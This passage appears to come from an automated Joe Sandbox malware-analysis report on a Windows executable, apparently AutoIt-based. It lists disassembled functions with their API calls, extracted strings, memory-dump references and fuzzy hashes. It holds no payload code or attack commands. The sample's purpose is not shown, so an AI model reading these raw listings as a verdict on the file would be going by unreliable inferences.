                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                • String ID:
                                                • API String ID: 839392675-0
                                                • Opcode ID: 01ee910e75ccf94ea652e230f8e13ebad5f4b9601c81111e59c5b2f26894aa71
                                                • Instruction ID: 7d66ab7d6a3aaa0816a43461f53384bb4bf73eb8687fa541fca424c1da246faa
                                                • Opcode Fuzzy Hash: 01ee910e75ccf94ea652e230f8e13ebad5f4b9601c81111e59c5b2f26894aa71
                                                • Instruction Fuzzy Hash: 85F03A72250558BBE7325B629C0EEEF7A7CEFCAB11F00115CF601D1091D7A46A02C6B5
                                                Function 002E7439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClientRect.USER32(?), ref: 002E7452
                                                • SendMessageW.USER32(?,00001328,00000000,?), ref: 002E7469
                                                • GetWindowDC.USER32(?), ref: 002E7475
                                                • GetPixel.GDI32(00000000,?,?), ref: 002E7484
                                                • ReleaseDC.USER32(?,00000000), ref: 002E7496
                                                • GetSysColor.USER32(00000005), ref: 002E74B0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ClientColorMessagePixelRectReleaseSendWindow
                                                • String ID:
                                                • API String ID: 272304278-0
                                                • Opcode ID: 9641a336a7fe989b625e80df80a3c618fa873c2df14b215fed666e81eca69b0a
                                                • Instruction ID: 7e7308c1da7dc36d875980f40cfbdfb90147c2a016e5e98314d3624773992c8c
                                                • Opcode Fuzzy Hash: 9641a336a7fe989b625e80df80a3c618fa873c2df14b215fed666e81eca69b0a
                                                • Instruction Fuzzy Hash: AE018B31420205EFDB225F65DC08BEE7BB9FF04311F641068F916A21A0CB711E62EB50
                                                Function 002F1874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 002F187F
                                                • UnloadUserProfile.USERENV(?,?), ref: 002F188B
                                                • CloseHandle.KERNEL32(?), ref: 002F1894
                                                • CloseHandle.KERNEL32(?), ref: 002F189C
                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 002F18A5
                                                • HeapFree.KERNEL32(00000000), ref: 002F18AC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                • String ID:
                                                • API String ID: 146765662-0
                                                • Opcode ID: e5a4aca23f66543709fec431c535b62738c4d4a13e2a0cb95c2cd9ea2422c706
                                                • Instruction ID: 344337e8a24e7a22fa6dca8aba2209379ef992c94d1e53631719bb4b664a8299
                                                • Opcode Fuzzy Hash: e5a4aca23f66543709fec431c535b62738c4d4a13e2a0cb95c2cd9ea2422c706
                                                • Instruction Fuzzy Hash: 25E0C236014501BBDA125BA5ED0D90ABB2DFF49B22B209628F22581074CB32A432DB50
                                                Function 0029BBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON
                                                Download Yara Rule
                                                APIs
                                                • __Init_thread_footer.LIBCMT ref: 0029BEB3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Init_thread_footer
                                                • String ID: D%6$D%6$D%6$D%6D%6
                                                • API String ID: 1385522511-2818778696
                                                • Opcode ID: 17a179f4a29381cb35669b16c8b0465ca3d921bd54ea68de70c03ca1b5c5fd93
                                                • Instruction ID: 32c50ca23854a3df43ee3997b3e3462dcfcfd41d1a8061f6c739bd6f40b962e1
                                                • Opcode Fuzzy Hash: 17a179f4a29381cb35669b16c8b0465ca3d921bd54ea68de70c03ca1b5c5fd93
                                                • Instruction Fuzzy Hash: 65918B75A2020ACFCF19CF59D1906AAB7F1FF59300F20816AD985AB350D771ADA1CBA0
                                                Function 00317B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002B0242: EnterCriticalSection.KERNEL32(0036070C,00361884,?,?,002A198B,00362518,?,?,?,002912F9,00000000), ref: 002B024D
                                                  • Part of subcall function 002B0242: LeaveCriticalSection.KERNEL32(0036070C,?,002A198B,00362518,?,?,?,002912F9,00000000), ref: 002B028A
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                  • Part of subcall function 002B00A3: __onexit.LIBCMT ref: 002B00A9
                                                • __Init_thread_footer.LIBCMT ref: 00317BFB
                                                  • Part of subcall function 002B01F8: EnterCriticalSection.KERNEL32(0036070C,?,?,002A8747,00362514), ref: 002B0202
                                                  • Part of subcall function 002B01F8: LeaveCriticalSection.KERNEL32(0036070C,?,002A8747,00362514), ref: 002B0235
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
                                                • String ID: +T.$5$G$Variable must be of type 'Object'.
                                                • API String ID: 535116098-3534516491
                                                • Opcode ID: 258bac5fd57e5e9a8549e92fa30ffdbf181014a45951d96b2279659b47614775
                                                • Instruction ID: 6100eddd54c63b4efd0f6a40e008a128203a2db0c76d2b46b23992d2c424a041
                                                • Opcode Fuzzy Hash: 258bac5fd57e5e9a8549e92fa30ffdbf181014a45951d96b2279659b47614775
                                                • Instruction Fuzzy Hash: 66918C74A04209EFCB1AEF94D8919EDB7B5FF49300F188059F8069B292DB71AE85CB51
                                                Function 002FC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00297620: _wcslen.LIBCMT ref: 00297625
                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 002FC6EE
                                                • _wcslen.LIBCMT ref: 002FC735
                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 002FC79C
                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 002FC7CA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info_wcslen$Default
                                                • String ID: 0
                                                • API String ID: 1227352736-4108050209
                                                • Opcode ID: 405b4f1eb02e07254d16e3394dbd1b86da9130f32d4a94c7bd32a5145a1a95f1
                                                • Instruction ID: 9a06a6496f2f910e4bf2066842a75c85575a84d2a91ceac20e2eee1028c7e172
                                                • Opcode Fuzzy Hash: 405b4f1eb02e07254d16e3394dbd1b86da9130f32d4a94c7bd32a5145a1a95f1
                                                • Instruction Fuzzy Hash: 0351D37162830E9BD715AF28CA44A7BF7ECAF85390F240939F691D21D0DB60D824CF52
                                                Function 0031AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON
                                                Download Yara Rule
                                                APIs
                                                • ShellExecuteExW.SHELL32(0000003C), ref: 0031AEA3
                                                  • Part of subcall function 00297620: _wcslen.LIBCMT ref: 00297625
                                                • GetProcessId.KERNEL32(00000000), ref: 0031AF38
                                                • CloseHandle.KERNEL32(00000000), ref: 0031AF67
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseExecuteHandleProcessShell_wcslen
                                                • String ID: <$@
                                                • API String ID: 146682121-1426351568
                                                • Opcode ID: ed839ec4741ea26199065de8c5dc9d76bbb11cece3d0351de7048cee52fa8054
                                                • Instruction ID: 75df38d220e8e7d987b5e00ba416b4cd353f4af547d4fa990399a3b44cda9675
                                                • Opcode Fuzzy Hash: ed839ec4741ea26199065de8c5dc9d76bbb11cece3d0351de7048cee52fa8054
                                                • Instruction Fuzzy Hash: 9D716771A10A14DFCF19DF64C484A9EBBF4BF08310F058499E81AAB2A2C774ED95CF91
                                                Function 002F719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 002F7206
                                                • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 002F723C
                                                • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 002F724D
                                                • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 002F72CF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorMode$AddressCreateInstanceProc
                                                • String ID: DllGetClassObject
                                                • API String ID: 753597075-1075368562
                                                • Opcode ID: 64058213bfbdfca005558e7a8902d4df5af8335a8ad708003bb8f91490d23d8e
                                                • Instruction ID: 80a8fa42bdedbb04192d60a1cf356ccc94a14ecfe26068fcc3c3d2f7339faa76
                                                • Opcode Fuzzy Hash: 64058213bfbdfca005558e7a8902d4df5af8335a8ad708003bb8f91490d23d8e
                                                • Instruction Fuzzy Hash: 13418171614208EFDB15CF54C885AAABBB9EF44790F1480BDFE059F20AD7B0D955CBA0
                                                Function 00322F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00322F8D
                                                • LoadLibraryW.KERNEL32(?), ref: 00322F94
                                                • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00322FA9
                                                • DestroyWindow.USER32(?), ref: 00322FB1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$DestroyLibraryLoadWindow
                                                • String ID: SysAnimate32
                                                • API String ID: 3529120543-1011021900
                                                • Opcode ID: 0ab58fee131eae07db428b1fd2ef18d952fe30c2b3fc7e7802cc0752314b5a4b
                                                • Instruction ID: 25976fad07644b7ca075c9f8bb347e3b12986e945af7fddc492bff24327643c3
                                                • Opcode Fuzzy Hash: 0ab58fee131eae07db428b1fd2ef18d952fe30c2b3fc7e7802cc0752314b5a4b
                                                • Instruction Fuzzy Hash: D821DC72200225BBEF228F64ED80EBB77BDEB58364F120218FA10D60A0C771DC519760
                                                Function 002B4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,002B4D1E,002C28E9,?,002B4CBE,002C28E9,003588B8,0000000C,002B4E15,002C28E9,00000002), ref: 002B4D8D
                                                • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 002B4DA0
                                                • FreeLibrary.KERNEL32(00000000,?,?,?,002B4D1E,002C28E9,?,002B4CBE,002C28E9,003588B8,0000000C,002B4E15,002C28E9,00000002,00000000), ref: 002B4DC3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AddressFreeHandleLibraryModuleProc
                                                • String ID: CorExitProcess$mscoree.dll
                                                • API String ID: 4061214504-1276376045
                                                • Opcode ID: 56ab1101c50e5bc7e23ff37a3a80d33ff308a0cfdd28bd6d184e64702765038e
                                                • Instruction ID: 8f759530d2eac16660b6ccba4ee25619099f0a561f744bc5af0399dc5138b62d
                                                • Opcode Fuzzy Hash: 56ab1101c50e5bc7e23ff37a3a80d33ff308a0cfdd28bd6d184e64702765038e
                                                • Instruction Fuzzy Hash: 9FF06834560309BBDB169F90DC89BDDBFB9EF44751F000158F905A2261CB305D51CBD0
                                                Function 002ED3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32 ref: 002ED3AD
                                                • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 002ED3BF
                                                • FreeLibrary.KERNEL32(00000000), ref: 002ED3E5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Library$AddressFreeLoadProc
                                                • String ID: GetSystemWow64DirectoryW$X64
                                                • API String ID: 145871493-2590602151
                                                • Opcode ID: 67a39c4d82dc00c05c546ad1e98e9e201de7b4410bceccb2da29dfa2b14c3a4c
                                                • Instruction ID: f43afd69deceaf1753c7377a764156999e73f617a070c9de297dafbcf44b5a2e
                                                • Opcode Fuzzy Hash: 67a39c4d82dc00c05c546ad1e98e9e201de7b4410bceccb2da29dfa2b14c3a4c
                                                • Instruction Fuzzy Hash: D9F0A3344B56A29BD7731B128C549AE77245F11701FD494D9FD43E1026CF60CC70CAD2
                                                Function 00294E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,?,00294EDD,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294E9C
                                                • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00294EAE
                                                • FreeLibrary.KERNEL32(00000000,?,?,00294EDD,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294EC0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Library$AddressFreeLoadProc
                                                • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                • API String ID: 145871493-3689287502
                                                • Opcode ID: 0f4e1112faff954397a15ed22b325b3f07be6d7c218601a72e4aa48c7fe41d58
                                                • Instruction ID: bac001d894653d9812423080bb8827e6108b5cd0f91c82077ca39254acc66e2e
                                                • Opcode Fuzzy Hash: 0f4e1112faff954397a15ed22b325b3f07be6d7c218601a72e4aa48c7fe41d58
                                                • Instruction Fuzzy Hash: 81E08635A215235B96332B256C19E5FA558AF81B63B051119FC01D2110DB60DD1380E0
                                                Function 00294E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,?,002D3CDE,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294E62
                                                • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00294E74
                                                • FreeLibrary.KERNEL32(00000000,?,?,002D3CDE,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294E87
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Library$AddressFreeLoadProc
                                                • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                • API String ID: 145871493-1355242751
                                                • Opcode ID: 7f8fce7f12322e9abaae7aceda3db3b767a2fca41e1b974dd3ca5225ffdbc6f3
                                                • Instruction ID: 9f9dce8f2559e43629a3ddb5e632e0fbecc3dd36709e7e4f502f6e07ab5e1112
                                                • Opcode Fuzzy Hash: 7f8fce7f12322e9abaae7aceda3db3b767a2fca41e1b974dd3ca5225ffdbc6f3
                                                • Instruction Fuzzy Hash: A9D0C232932A32574A332F247C09DCF6A1CAF85B513051518FC01A2210CF20CD23C1D0
                                                Function 0031A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentProcessId.KERNEL32 ref: 0031A427
                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0031A435
                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0031A468
                                                • CloseHandle.KERNEL32(?), ref: 0031A63D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$CloseCountersCurrentHandleOpen
                                                • String ID:
                                                • API String ID: 3488606520-0
                                                • Opcode ID: 7097171be21499800e36a1fee37c6db6325326c0409c83edc024366c401712ae
                                                • Instruction ID: 5a1dfa1d1baf35522b3d80287525688619367794a9cfce86968df59edf07cd66
                                                • Opcode Fuzzy Hash: 7097171be21499800e36a1fee37c6db6325326c0409c83edc024366c401712ae
                                                • Instruction Fuzzy Hash: 46A1C0716147009FD725DF24C886F2AB7E5AF88714F14881DF99A9B392DBB0EC418F82
                                                Function 002CBB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00333700), ref: 002CBB91
                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,0036121C,000000FF,00000000,0000003F,00000000,?,?), ref: 002CBC09
                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00361270,000000FF,?,0000003F,00000000,?), ref: 002CBC36
                                                • _free.LIBCMT ref: 002CBB7F
                                                  • Part of subcall function 002C29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000), ref: 002C29DE
                                                  • Part of subcall function 002C29C8: GetLastError.KERNEL32(00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000,00000000), ref: 002C29F0
                                                • _free.LIBCMT ref: 002CBD4B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                • String ID:
                                                • API String ID: 1286116820-0
                                                • Opcode ID: 2a2abb9bb2edf7a08063a63c598379cb3a483a57a8772548bec58fcea98d459a
                                                • Instruction ID: 34bda791d5526742b31a10e6dfd1539989e0ab23128d05d8353d08179a0a1163
                                                • Opcode Fuzzy Hash: 2a2abb9bb2edf7a08063a63c598379cb3a483a57a8772548bec58fcea98d459a
                                                • Instruction Fuzzy Hash: 8051D571920209AFCB12EF659C82EAEBBBCEF40350F14476EE514D71A1EB709E618F50
                                                Function 002FE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002FDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,002FCF22,?), ref: 002FDDFD
                                                  • Part of subcall function 002FDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,002FCF22,?), ref: 002FDE16
                                                  • Part of subcall function 002FE199: GetFileAttributesW.KERNEL32(?,002FCF95), ref: 002FE19A
                                                • lstrcmpiW.KERNEL32(?,?), ref: 002FE473
                                                • MoveFileW.KERNEL32(?,?), ref: 002FE4AC
                                                • _wcslen.LIBCMT ref: 002FE5EB
                                                • _wcslen.LIBCMT ref: 002FE603
                                                • SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 002FE650
